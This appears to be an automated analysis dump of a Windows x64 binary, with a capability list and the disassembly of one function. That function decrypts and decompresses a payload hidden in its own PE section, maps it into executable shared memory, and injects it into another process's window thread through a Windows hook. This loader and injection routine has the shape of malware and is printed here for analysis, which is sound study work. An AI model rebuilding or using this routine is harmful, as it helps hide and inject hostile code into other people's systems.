Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Create new key via cryptacquirecontext
Create process on windows
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate pe sections
Get common file path
Map section object
Query environment variable
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r15d, r15d
mov dword [rsp + 0x20], 0xf0000040
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
movzx r8d, word [rdx + 6]
movzx r9d, word [rdx + 0x14]
add r9, rdx
xor edx, edx
lea rcx, [r8 + r8*4]
mov edi, dword [r9 + rcx*8 - 0x54]
lea rcx, [r8 + r8*4]
mov ebx, dword [r9 + rcx*8 - 8]
xor r8d, r8d
mov esi, dword [r9 + rcx*8 - 4]
sub ebx, 0x10
add rsi, rax
mov dword [rbp - 0x80], 0x208
mov dword [rbp - 0x7c], 0x660e
lea r9d, [r15 + 0x18]
mov dword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x58]
add rdi, rax
movups xmm0, xmmword [rbx + rsi]
movups xmmword [rbp - 0x74], xmm0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001586
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea r8d, [r15 + 0x1c]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
lea rdx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x14000152f
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x28], rax
lea r8d, [r15 + 1]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov qword [rsp + 0x368], r14
mov dword [rbp + 0x2a0], ebx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400014c2
mov eax, dword [rbp + 0x2a0]
lea ebx, [rax*4]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x14000150a
mov edx, dword [rbp + 0x2a0]
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x28], rax
lea ecx, [r15 + 2]
mov dword [rsp + 0x20], edx
mov r9, rsi
mov dword [rbp + 0x2a8], r15d
lea r8d, [rdx*4]
mov rdx, r14
call qword [sym.imp.ntdll.dll_RtlDecompressBuffer]
test eax, eax
jne 0x140001481
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rdi + rax*2], r15w
jne 0x140001170
inc rax
lea rcx, [rdi + rax*2]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], r15w
lea rax, [rax + 1]
jne 0x140001190
lea rcx, [rcx + rax*2]
add rcx, 2
cmp word [rcx], r15w
je 0x1400011d2
mov rax, 0xffffffffffffffff
inc rax
cmp word [rdi + rax*2], r15w
jne 0x1400011b1
inc rax
mov rdx, rdi
lea r8, [rdi + rax*2]
call fcn.1400016f0
mov dword [section..data], eax
jmp 0x1400011d8
mov eax, dword [section..data]
mov rcx, qword [0x140004010]
test rcx, rcx
jne 0x1400011fb
mov ecx, eax
call fcn.140001a60
mov rcx, rax
mov qword [0x140004010], rax
mov eax, dword [section..data]
test eax, eax
je 0x1400014ac
test rcx, rcx
je 0x1400014ac
mov r8d, 0x20
lea rdx, [rbp + 0x10]
lea rcx, str.LEASETERM
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
movsxd rsi, dword [r14 + 0x3c]
lea r9, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x30], r15
add rsi, r14
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp + 0x2b8]
mov dword [rsp + 0x20], 0x40
lea edx, [r8 + 0xe]
mov eax, dword [rsi + 0x50]
mov qword [rsp + 0x60], rax
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
jne 0x1400014ac
mov rcx, qword [rbp + 0x2b8]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp + 0x2b0]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rbp + 0x2b0], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jne 0x1400014ac
mov r8d, dword [rsi + 0x54]
mov rdx, r14
mov rcx, qword [rbp + 0x2b0]
call sub.msvcrt.dll_memcpy
movzx ebx, word [rsi + 0x14]
mov edi, r15d
add rbx, 0x20
cmp r15w, word [rsi + 6]
jae 0x14000131e
add rbx, rsi
nop dword [rax + rax]
mov ecx, dword [rbx + 8]
cmp ecx, dword [rbx]
mov edx, dword [rbx + 0xc]
cmovae ecx, dword [rbx]
add rdx, r14
mov r8d, ecx
mov ecx, dword [rbx + 4]
add rcx, qword [rbp + 0x2b0]
call sub.msvcrt.dll_memcpy
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x1400012f0
xor edx, edx
lea rcx, [rbp + 0x10]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea r8d, [rdx + 0x10]
call qword [sym.imp.msvcrt.dll__wcstoui64]
mov rdx, qword [rbp + 0x2b8]
lea r9, [rsp + 0x70]
mov ecx, dword [section..data]
mov r8, rax
call fcn.140001f00
mov rdx, qword [rbp + 0x2b0]
mov r8, rsi
mov rcx, qword [rsp + 0x70]
call fcn.140001d00
mov rcx, qword [0x140004010]
xor edx, edx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea rcx, str.kernel32.dll
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, qword [rsp + 0x78]
mov r9d, ebx
mov r8, rax
mov ecx, 4
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rbx, rax
test rax, rax
je 0x1400013be
mov rcx, qword [0x140004010]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
movsd xmm0, qword [str.___]
lea rdx, [rbp + 0x58]
movzx eax, word [0x140003280]
mov ecx, 0x104
movsd qword [rbp + 0x50], xmm0
mov word [rbp + 0x58], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rax, [rbp + 0x50]
sub rax, 2
nop dword [rax]
cmp word [rax + 2], r15w
lea rax, [rax + 2]
jne 0x1400013f0
movups xmm0, xmmword [0x140003288]
lea r8, [rbp + 0x50]
mov edx, 0x103
movups xmm1, xmmword [0x140003298]
mov ecx, 1
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
call fcn.140001a90
test al, al
je 0x1400014ac
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x70
lea rax, str.open
mov dword [rbp - 0x5c], 0x400
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x60]
lea rax, [rbp + 0x58]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], rax
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 5
mov qword [rbp - 0x28], r15
movdqa xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r15
mov dword [rbp - 8], r15d
movdqa xmmword [rbp], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
jmp 0x1400014ac
mov r9d, eax
lea r8, [0x1400032b4]
mov edx, 0x100
lea rcx, [rbp + 0x50]
call qword [sym.imp.msvcrt.dll_swprintf_s]
xor r9d, r9d
lea rdx, [rbp + 0x50]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000150a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov r8d, eax
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x50]
xor edx, edx
mov ecx, 0x1000
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9d, 0x10
lea r8, [0x1400032c0]
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov r14, qword [rsp + 0x368]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x1400015ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov r8d, eax
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x50]
xor edx, edx
mov ecx, 0x1000
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9d, 0x10
lea r8, [0x1400032e0]
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x1400015ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov r8d, eax
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x50]
xor edx, edx
mov ecx, 0x1000
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9d, 0x10
lea r8, [0x140003300]
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]